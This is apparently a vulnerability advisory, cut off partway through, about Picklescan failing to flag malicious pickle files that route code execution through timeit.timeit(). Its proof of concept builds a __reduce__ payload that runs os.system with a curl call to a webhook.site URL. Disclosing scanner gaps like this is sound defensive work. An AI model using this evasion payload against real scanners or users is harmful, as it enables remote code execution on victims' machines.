Picklescan missing detection when calling built-in python library function timeit.timeit()
Date: 2025-04
Affected: pip/picklescan
Attack vector: deserialization
Category: vulnerability-disclosure
Severity: Medium
CWE: CWE-184

### Summary Using timeit.timeit() function, which is a built-in python library function to execute remote pickle file. ### Details Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling built-in python library function like **timeit.timeit()**. And since timeit library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan. The attack payload executes in the following steps: First, the attacker craft the payload by calling to **timeit.timeit()** function from timeit library in __reduce__ method Then, inside reduce method, the attacker import dangerous libarary like os and calling **os.system()** to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim. Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC 1. The attacker crafted a malicious pickle file using built-in python library function timeit.timeit() ``` import pickle import timeit class Payload(object): def __reduce__(self): return timeit.timeit, ('','import os; os.system("curl https://webhook.site/95f3e1c3-ee37-4a5a-8544-ab4ce93475f6")') def create_payload(): with open('payload.pickle', 'wb') a


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Architectural layers (MAESTRO):